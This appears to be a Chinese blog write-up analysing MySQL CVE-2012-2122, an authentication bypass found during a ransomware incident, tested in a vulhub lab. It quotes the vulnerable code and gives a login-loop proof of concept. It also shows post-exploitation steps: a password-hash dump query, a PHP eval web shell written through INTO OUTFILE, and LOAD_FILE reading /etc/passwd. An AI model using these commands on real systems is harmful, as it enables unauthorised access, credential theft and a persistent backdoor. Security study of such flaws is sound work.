MySQL历史漏洞分析

前段时间公司一托管的老系统,被木马勒索,然后紧急处理了一下,此系统使用少,而且是外包托管阿里云,因此并没有影响其他系统。拿到这个系统后,查看端口服务时发现,数据库端口对外开放,ssh对外开放,然后根据对系统的核查,猜测有可能存在以下问题:

1、后台弱口令或者登陆绕过

2、mysql弱口令

3、ssh弱口令爆破

经过后来优先对外的端口审查,发现是数据库漏洞,MySQL的cve-2012-2122,身份验证漏洞。

简单的说就是MySQL对身份验证上存在缺陷,大概256次登陆认证就会出现一次认证成功。并不在乎密码的正确性。

漏洞介绍:

https://seclists.org/oss-sec/2012/q2/493

漏洞原因:

my_bool check_scramble(const uchar *scramble_arg, const char *message,
               const uint8 *hash_stage2)
{
  SHA1_CONTEXT sha1_context;
  uint8 buf[SHA1_HASH_SIZE];
  uint8 hash_stage2_reassured[SHA1_HASH_SIZE];

  mysql_sha1_reset(&sha1_context);
  /* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);
  mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);
  mysql_sha1_result(&sha1_context, buf);
  /* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);
  /* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);
  mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);
  mysql_sha1_result(&sha1_context, hash_stage2_reassured);
  return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}

以上是问题出现的代码处,memcmp的返回值实际上是int,而my_bool却是char。那么在把int转换成char的时候,就有可能发生截断。比如,memcmp返回0×200,截断后变成了0,调用check_scramble函数的就误以为密码正确。

而此漏洞并不是版本通病是MySQL在编译时,需添加-fno-builtin,并且所使用的glibc是经SSE优化后的,只不过glibc是系统自带。

漏洞利用:

使用如下poc:
for i in `seq 1 1000`; do mysql -u root --password=root -h 127.0.0.1 2>/dev/null; done

环境采用vulhub的docker环境,测试成功后返回如下:

1555050537911

那么拿到数据库怎么尝试获取服务权限,可以获取数据库账号密码来维持对数据库的访问和root权限。

select user,password from mysql.user;

1555050975845

MySQL密码加密由sha1加密后再unhex加密再sha1加密的字段,可以再md5等密码查询网站查找。如上密码为123456。

还可以使用导出的形式,利用如下:

Select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/a.txt';  #这种需要知道web路径

同样也可以使用load_file来查看系统文件等

SELECT LOAD_FILE('/etc/passwd') 




# 渗透测试  

tocToc: